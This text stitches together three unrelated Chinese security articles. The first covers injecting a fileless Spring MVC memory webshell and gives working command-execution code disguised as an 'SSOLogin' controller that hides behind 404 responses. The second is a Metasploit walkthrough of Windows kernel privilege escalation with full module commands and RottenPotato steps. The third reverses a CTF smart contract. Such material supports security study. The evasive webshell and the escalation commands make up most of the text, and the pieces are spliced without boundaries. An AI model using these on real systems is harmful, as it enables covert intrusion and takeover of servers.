从下面的继承关系图中可以发现： DispatcherServlet 从本质上来讲是一个 Servlet（扩展了 HttpServlet )。
回到 web.xml 中，其相关配置如下：
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
上面给 org.springframework.web.servlet.DispatcherServlet 类设置了个别名
dispatcherServlet ，并配置了它的 contextConfigLocation 参数值为 /WEB-INF/dispatcherServlet-servlet.xml。
依照规范，当没有显式配置 contextConfigLocation 时，程序会自动寻找 /WEB-INF/<servlet-name>-servlet.xml，作为配置文件。因为上面的 <servlet-name> 是
dispatcherServlet，所以当没有显式配置时，程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml
配置文件。
综上，可以了解到：每个具体的 DispatcherServlet 创建的是一个 Child Context，代表一个独立的 IoC 容器；而
ContextLoaderListener 所创建的是一个 Root Context，代表全局唯一的一个公共 IoC 容器。
如果要访问和操作 bean ，一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext。
## 三. 技术要点
* Q: spring 内存注入 Webshell，要达到什么样的效果？
* A: 一言以蔽之：在执行完一段 java 代码后，可通过正常的 URL 访问到内存中的 Webshell 获得回显即可。
在经过一番文档查阅和源码阅读后，发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个：
1. 在不使用注解和修改配置文件的情况下，使用纯 java 代码来获得当前代码运行时的上下文环境；
2. 在不使用注解和修改配置文件的情况下，使用纯 java 代码在上下文环境中手动注册一个 controller；
3. controller 中写入 Webshell 逻辑，达到和 Webshell 的 URL 进行交互回显的效果；
## 四. 技术实现
### 获得当前代码运行时的上下文环境
**方法一** ：getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
如下图， getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的
Root WebApplicationContext。
注意这里及下面实现方法中的 Root WebApplicationContext 都是后文的一个伏笔。
**方法二** ：WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦，其实拆分起来比较容易理解，主要是用
WebApplicationContextUtils的
public static WebApplicationContext getWebApplicationContext(ServletContext sc)
方法来获得当前上下文环境。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用
WebApplicationContextUtils.getRequiredWebApplicationContext来替换。
剩余部分代码，都是用来获得 ServletContext 类的一个实例。仔细研究后可以发现，上面的代码完全可以简化成方法三中的代码。
**方法三** ：RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
上面的代码使用 RequestContextUtils 的
public static WebApplicationContext getWebApplicationContext(ServletRequest request)
方法，通过 ServletRequest 类的实例来获得 WebApplicationContext 。
如下图，可以发现此方法获得的是一个名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。这个
dispatcherServlet-servlet 其实是上面配置中 dispatcherServlet-servlet.xml 的文件名。
进一步分析，代码中有个 RequestContextHolder.currentRequestAttributes() ，在前置知识中已经提到过
所有的Context在创建后，都会被作为一个属性添加到了 ServletContext中
然后如下图，查看当前所有的 attributes，发现确实保存有 Context 的属性名。
其中 org.springframework.web.servlet.DispatcherServlet.CONTEXT 和
org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE 属性名中都存放着一个名叫
dispatcherServlet-servlet 的 Child WebApplicationContext 。
**方法四** ：getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
从方法三的分析来看，其实完全可以将存放在 ServletContext 属性中的 Context 取出来直接使用。在阅读相关源码后发现，上面代码中的
currentRequestAttributes() 替换成 getRequestAttributes() 也同样有效；getAttribute 参数中的
0代表从当前 request 中获取而不是从当前的 session 中获取属性值。
因此，使用以上代码也可以获得一个名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。
### 手动注册 controller
一个正常的 Controller 示例代码如下，当用浏览器访问 /hello 路径时，会在定义好的 View 中输出 hello World 字样。
@Controller
public class HelloController {
@RequestMapping(value = "/hello", method = RequestMethod.GET)
public String hello(@RequestParam(value="name", required=false, defaultValue="World") String name, Model model) {
model.addAttribute("name", name);
return "hello";
}
}
如下图：Spring 3.2.5 处理 URL 映射相关的类都实现了 HandlerMapping 接口。
Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ；
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持[@Contoller](https://github.com/Contoller
"@Contoller")和[@RequestMapping](https://github.com/RequestMapping
"@RequestMapping")注解。
当然，也有高版本依旧使用旧映射器的情况。因此正常程序的上下文中一般存在其中一种映射器的实例 bean。又因版本不同和较多的接口等原因，手工注册动态
controller 的方法不止一种。
**方法一** ：registerMapping
在 spring 4.0 及以后，可以使用 registerMapping 直接注册 requestMapping ，这是最直接的一种方式。
相关示例代码和解释如下：
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
**方法二** ：registerHandler
参考上面的 HandlerMapping 接口继承关系图，针对使用 DefaultAnnotationHandlerMapping
映射器的应用，可以找到它继承的顶层类
org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
进入查看代码，发现其中有一个registerHandler 方法，摘录关键部分如下：
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
...
Object resolvedHandler = handler;
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String)handler;
if (this.getApplicationContext().isSingleton(handlerName)) {
resolvedHandler = this.getApplicationContext().getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException("Cannot map " + this.getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + this.getHandlerDescription(mappedHandler) + " mapped.");
...
} else {
this.handlerMap.put(urlPath, resolvedHandler);
if (this.logger.isInfoEnabled()) {
this.logger.info("Mapped URL path [" + urlPath + "] onto " + this.getHandlerDescription(handler));
}
}
}
该方法接受 urlPath参数和 handler参数，可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为
handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中。
相关示例代码和解释如下：
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
**方法三** ：detectHandlerMethods
参考上面的 HandlerMapping 接口继承关系图，针对使用 RequestMappingHandlerMapping
映射器的应用，可以找到它继承的顶层类
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
进入查看代码，发现其中有一个detectHandlerMethods 方法，代码如下：
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}
该方法仅接受handler参数，同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的
bean, 并注册 controller 的实例 bean。
示例代码如下：
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
### controller 中的 Webshell 逻辑
在使用 registerMapping 动态注册 controller 时，不需要强制使用
[@RequestMapping](https://github.com/RequestMapping "@RequestMapping") 注解定义
URL 地址和 HTTP 方法，其余两种手动注册 controller 的方法都必须要在 controller
中使用[@RequestMapping](https://github.com/RequestMapping "@RequestMapping") 注解 。
除此之外，将 Webshell 的代码逻辑写在主要的 Controller 方法中即可。
下面提供一个简单的用来执行命令回显的 Webshell 代码示例：
package me.landgrey;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
@Controller
public class SSOLogin {
@RequestMapping(value = "/favicon")
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
}
}
}
代码比较简单，达到的效果是，当请求没有携带指定的参数(code)时，返回 404 错误，当没有经验的人员检查时，因为 Webshell
仅存在于内存中，直接访问又是 404 状态码，所以很可能会认为 Webshell 不存在或者没有异常了。
## 五. 注意事项
不同的映射处理器
如下面的配置，当有些老旧的项目中使用旧式注解映射器时，上下文环境中没有 RequestMappingHandlerMapping 实例的 bean，但会存在
DefaultAnnotationHandlerMapping 的实例 bean。
<bean class="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter" />
### Root Context 与 Child Context
上文展示的四种获得当前代码运行时的上下文环境的方法中，推荐使用后面两种方法获得 Child WebApplicationContext。
这是因为：根据习惯，在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中，而不是全局配置文件 applicationContext.xml 中。
这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext
环境中，而不是 Root WebApplicationContext 中。上文也提到过，Root Context无法访问Child Context中定义的
bean，所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例
bean 的情况。
另外，在有些Spring 应用逻辑比较简单的情况下，可能没有配置 ContextLoaderListener 、也没有类似
applicationContext.xml 的全局配置文件，只有简单的 servlet 配置文件，这时候通过前两种方法是获取不到Root
WebApplicationContext的。
### 应用场景
既然是通过执行 java 代码内存注入 webshell，那么一般需要通过 Spring 相关的代码执行漏洞才可以利用，例如较为常见的 Java
反序列漏洞、普通的 JSP 文件 Webshell 转换成无文件 Webshell等。
## 六. 演示
本文技术的具体实现已集成到实验室内部的 Webshell 管理工具中，下面的动态图片演示了在 SpringMvc 环境中向内存注入一个自定义 URL 的
Webshell 操作。
## 参考链接：
Spring Framework 5 中文文档
Spring源码阅读-ApplicationContext体系结构分析
contextloaderlistener-vs-dispatcherservlet
DispatcherServlet与ContextLoaderListener的对比
Spring MVC手动注册requestMapping
动态注册bean后手动注册controller | 社区文章 |
原文：
<http://www.hackingarticles.in/windows-kernel-exploit-privilege-escalation/>
大家好，上一篇文章中，我们讨论了使用自动化脚本进行Windows提权的向量。今天我们来演示通过内核利用技巧来提权。为此，我们将使用metaspolit的内置模块Local
Exploit Suggester。这个模块可以帮助我们识别系统存在哪些漏洞可以被利用，并且为我们提供最合适的exp，通过这个exp我们可以进一步提权。
目录
Windows-Expolit-suggester
Windows ClientCopyImage Win32k Exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference
通过Kitrap0D进行Windows系统提权
Windows Escalate任务计划程序XML提权
MS16-016mrxdav.sys WebDav本地提权
EPATHOBJ::pprFlattenRec本地提权
MS13-053 : NTUserMessageCall Win32k内核池溢出
MS16-032 Secondary Logon Handle提权
RottenPotato提权
**windows-Exploit-suggester**
metasploit内置模块提供了很多可以进行提权的本地exp，并且根据架构，平台(运行的操作系统)，会话类型和默认选项来推荐最合适的exp。这大大节省了我们的时间，因为我们不用再去手动搜索本地exp了。
用法：
注意：我们首先要获取目标主机的meterpreter会话，才能使用这个模块。而且在使用这个模块之前，我们需要先把当前的meterpreter会话放到后台运行(CTRL+Z)
现在我们获取到的meterpreter会话是1，执行下列命令：
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
如图所示，显示了目标主机存在的漏洞和可以提权的后渗透利用exp。
**Windows ClientCopyImage Win32k Exploit**
Windows内核模式驱动程序中的漏洞让攻击者可以进行提权。
这个模块利用了win32k.sys内核模式驱动程序中不正确的对象处理。
这个模块已经在win7×64和×86，win2008R2 SP1×64上进行过测试。
现在，我们打开MSF控制台并执行这个exp，命令如下：
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
一旦这个选中的exp得到执行，我们就得到了另外一个meterpreter会话，然后执行命令查看系统信息，如图：
如你所见，系统当前登陆的用户是Windows特权用户 NT AUTHORITY\SYSTEM
**Windows TrackPopupMenu Win32k NULL Pointer Dereference**
该模块利用了win32k.sys中的NULL Pointer
Dereference，这个漏洞可以通过使用TrackPopupMenu来触发。在特定情况下，可以在xxxSendMessage
Timeout上滥用NULL Pointer Dereference来获取任意代码执行。
这个模块已经在Windows XP SP3，Windows Server 2003 SP2，Windows7 SP1，Windows Server2008
32位和Windows Server2008R2 SP164位上测试过。
现在打开MSF控制台，执行exp：
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
选中的exp执行之后，便会获得另一个meterpreter会话，然后输入getsystem和getuid命令查看系统信息，如图所示：
提取成功，现在是Windows特权用户NT AUTHORITY\SYSTEM。
**通过KiTrap0D进行Windows系统提权**
这个模块会通过Kitrap0D这个exp来生成一个SYSTEM权限的新会话，如果当前会话已经是SYSTEM权限，那么这个脚本将不起作用。这个脚本依赖于kitrap0d.x86.dll这个文件，而且不支持64位的Windows操作系统。
该模块已经在存在漏洞的Windows Server 2003，Windows Server 2008，Windows7和XP上测试过，只限32位操作系统。
开启MSF控制台，执行exp，命令如下：
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
执行之后得到一个新的meterpreter会话，执行命令查看系统信息，如图：
widows特权用户，NT AUTHORITY\SYSTEM
**Windows Escalate Task Scheduler XML提权**
计划任务中的这个漏洞能够导致提权。
如果攻击者登陆到存在漏洞的系统并且运行精心构造的应用程序的话，攻击者就可以通过此漏洞成功进行提权。不过，攻击者必须要有合法的凭证并且在本地进行登陆才能利用这个漏洞，远程用户和匿名用户无法利用。
该模块在存在漏洞的Windows Vista，Windows7，Windows Server2008x64和x86上测试过可行。
开启MSF控制台，执行这个exp，命令如下：
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
获得一个新的meterpreter会话，而且查看命令可知，已经是Windows特权用户NT AUTHORITY\SYSTEM，如图所示：
**MS16-016mrxdav.sys WebDav本地提权**
这个exp利用的是mrxdav.sys中的漏洞，漏洞编号是MS16-016。该模块会在目标主机上生成一个进程，并通过在特权进程的环境下执行指定的payload来提权。
该模块在存在漏洞的Windows7 SP1 x86架构上测试过可行。
现在我们来实战，打开MSF控制台，执行exp，命令如下：
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
执行后得到一个新的会话，并且是Windows最高权限NT AUTHORITY\SYSTEM，如图所示：
**EPATHOBJ::pprFlattenRec本地提权**
这个漏洞是由于EPATHOBJ::pprFlattenRec使用了未初始化的数据而产生的，该漏洞可以对内存产生破坏。
而我们的这个脚本就是利用这个漏洞来提权的。
这个模块已经在Windows XP SP3，Windows2003SP1和Windows7SP1上成功执行。
还是一样的套路，开启MSF，执行exp，命令如下：
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
结果一样，就不罗嗦了，直接上图：
**MS13-053：NTUserMessageCall Win32k内核池溢出**
Win32k中的内核池溢出导致本地提权。这个内核shellcode清空了winlogon.exe进程(系统进程)的ACL。这就导致了任何非特权的进程都可以自由迁移到winlogon.exe进程中，从而实现提权。在2013年的pwn2own大赛上，MWR实验室就利用此漏洞攻破了chrome的沙箱机制。不过，需要注意的是，当你推出meterpreter会话时，winlogon.exe进程可能会崩溃。
目前，该模块已经在Windows7 SP1x86上成功运行。
接下来还是跟上面一样，打开MSF，执行exp，命令如下：
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit
获取到新的会话，且已经成功提权到Windows特权用户NT AUTHORITY\SYSTEM，有图有真相：
**MS16-032 Secondary Logon Handle提权**
该模块利用的是Windows Secondary Logon服务中标准句柄清理功能的缺失。已知该漏洞会影响Windows7-10，Windows
Server2008和2012，32位和64位都会受影响。
这个模块只对集成了powershell2.0或更高版本的Windows且具有多个CPU内核的系统有效。
步骤同上，直接在MSF中使用下列命令：
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
生成新的meterpreter会话，权限是NT AUTHORITY\SYSTEM，如图所示：
**RottenPotato提权**
RottenPotato本地提权，从service账户提升到SYSTEM权限。
在运行二进制文件后，快速模拟Tokens（或者运行list_tokens
-u）非常重要。按照步骤一步一步执行也非常重要。在运行二进制文件的时候，请确保使用“incognito”选项。
meterpreter会话中的Incognito选项刚开始是一个独立的应用程序，该程序可以让你在入侵一个系统后模拟用户令牌。不过我们首先需要做的是检查系统中是否存在有效的tokens，使用下列命令来查看：
load incognito
list_token -u
可以看到当前没有可用的令牌，如图：
现在，我们从GitHub上下载Rottenpotato脚本来进行提权：
git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato
下载下来后是一个rottenpotato.exe可执行文件。
上传这个exe文件到目标主机中：
upload /root/Desktop/RottenPotato/rottenpotato.exe
如图：
现在输入下列命令来执行这个exe文件，然后在模拟用户令牌下添加SYSTEMtoken：
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
如图所示，现在我们已经是NT AUTHORITY\SYSTEM权限了，提权成功。 | 社区文章 |
# 区块链3道题目分析（主过程）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文主要记录整个合约分析的过程。具体代码可以到各大区块链大佬的博客来找。
## 题目
### 数字经济CTF-COW区块链题目详解
这题是从先知社区上看到的题目，然后正在学区块链就来分析下。
因为编写脚本其实主要靠锻炼，重要的是整个过程的复现。找到payforflag的触发条件，以及锻炼整个的逆向合约的能力。
话不多说直接贴反汇编代码了。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x1a374399) {
// Dispatch table entry for 0x1a374399 (unknown)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00be;
var var2 = func_02FA();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x1cee5d7a) {
// Dispatch table entry for 0x1cee5d7a (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0115;
var2 = func_0320();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else if (var0 == 0x6bc344bc) {
// Dispatch table entry for payforflag(string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01be;
var temp4 = msg.data[0x04:0x24] + 0x04;
var temp5 = msg.data[temp4:temp4 + 0x20];
var temp6 = memory[0x40:0x60];
memory[0x40:0x60] = temp6 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp6:temp6 + 0x20] = temp5;
memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
var2 = temp6;
payforflag(var2);
stop();
} else if (var0 == 0x8da5cb5b) {
// Dispatch table entry for owner()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01d5;
var2 = owner();
var temp7 = memory[0x40:0x60];
memory[temp7:temp7 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp8 = memory[0x40:0x60];
return memory[temp8:temp8 + (temp7 + 0x20) - temp8];
} else if (var0 == 0x96c50336) {
// Dispatch table entry for 0x96c50336 (unknown)
var1 = 0x021f;
func_059E();
stop();
} else if (var0 == 0x9ae5a2be) {
// Dispatch table entry for 0x9ae5a2be (unknown)
var1 = 0x0229;
func_0654();
stop();
} else if (var0 == 0xd0d124c0) {
// Dispatch table entry for 0xd0d124c0 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0240;
var2 = func_0730();
var temp9 = memory[0x40:0x60];
memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp10 = memory[0x40:0x60];
return memory[temp10:temp10 + (temp9 + 0x20) - temp10];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x02c3;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
var temp11 = memory[0x40:0x60];
memory[temp11:temp11 + 0x20] = var2;
var temp12 = memory[0x40:0x60];
return memory[temp12:temp12 + (temp11 + 0x20) - temp12];
} else if (var0 == 0xed6b8ff3) {
// Dispatch table entry for 0xed6b8ff3 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x02ee;
func_076D();
stop();
} else if (var0 == 0xff2eff94) {
// Dispatch table entry for Cow()
var1 = 0x02f8;
Cow();
stop();
} else { revert(memory[0x00:0x00]); }
}
function func_02FA() returns (var r0) { return storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_0320() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; }
function payforflag(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
if (msg.sender != storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//flag 要求就是 storage[0] storage[1] storage[2] 都是 msg.sender就成功了。
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) {
var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
var temp3 = arg0;
var var1 = temp3;
var temp4 = memory[0x40:0x60];
var var2 = temp4;
var var3 = var2;
var temp5 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp5 - var3;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp5 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;
if (var10 >= var7) {
label_053B:
var temp6 = var6;
var4 = temp6 + var4;
var5 = temp6 & 0x1f;
if (!var5) {
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
return;
} else {
var temp8 = var5;
var temp9 = var4 - temp8;
memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
return;
}
} else {
label_0529:
var temp11 = var10;
memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
var10 = temp11 + 0x20;
if (var10 >= var7) { goto label_053B; }
else { goto label_0529; }
}
} else {
var temp12 = returndata.length;
memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function owner() returns (var r0) { return storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_059E() {
var var0 = 0x00;
var var1 = var0;//0
var var2 = 0x0de0b6b3a7640000;//1 ether
var var3 = msg.value;
if (!var2) { assert(); }
var0 = var3 / var2;
if (var0 >= 0x01) { //传入大于 1ether
var temp0 = var1 + 0x01; //temp0=1
storage[temp0] = msg.sender | (storage[temp0] & ~0xffffffffffffffffffffffffffffffffffffffff);
//storage[1]=msg.sender
return;
} else {
var1 = 0x05;
storage[var1] = msg.sender | (storage[var1] & ~0xffffffffffffffffffffffffffffffffffffffff);
return;
}
}
function func_0654() {
var var0 = 0x00;//0
var var1 = 0x0de0b6b3a7640000;//1 ether
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var0;
if (msg.sender & 0xffff != 0x525b) { return; }//末尾为525b
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - 0xb1b1; //x-=45489 溢出
}
function func_0730() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_076D() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) //62016
{ revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = msg.sender | (storage[0x02] & ~0xffffffffffffffffffffffffffffffffffffffff);//msg.sender
//msg.sender
}
function Cow() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000;//1 ether
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (var0 != 0x01) { return; } //必须转账1 ether
//storage[0] 就满足要求。
storage[0x00] = msg.sender | (storage[0x00] & ~0xffffffffffffffffffffffffffffffffffffffff); // msg.sender
}
}
代码中做了一定的注释。不过下面还是对具体的分析做流程。
1. 寻找payforflag的条件。
2. 从这里我们可以看出payforflag 3个条件就是让msg.sender == storage[0] storage[1] 和 storage[2]
然后我们只需要从下面的代码从修改stroage[0,1,2]的值开始入手即可。
func_059E() 中 我已经写了注释，其中要求传入var0>= 1 ether即可，就可以调整storage[temp0]
也就是storage[1]=msg.sender.
查看func_0654()
这里要求是一个传入的账户必需以525b结尾，然后最后给了一个storage[temp1]-=0xb1b1自然而然可以想到溢出
,这里temp1是一个我们的特征值。可以理解为独立标志我们的一个mapping。
接着看
func_076D中，他对我们的散列进行了判断，也就是kccak256（memory[0x00:0x40]) 这里进行了判断，判断此值是否<=62016
,这里我们自然而然可以想到之前的溢出，下溢之后就可以满足这里，从而使得storage[2]=msg.sender.
funtion Cow() 真不容易遇到了个能解析出来名字的（x
这里满足转账为1ether 就能实现 storage[0]=msg.sender.
至此三个条件均满足，可以进行payforflag了。
但是有个问题还没想通：等着问dalao了，如何保证转账账户结尾为525b呢 。 2333
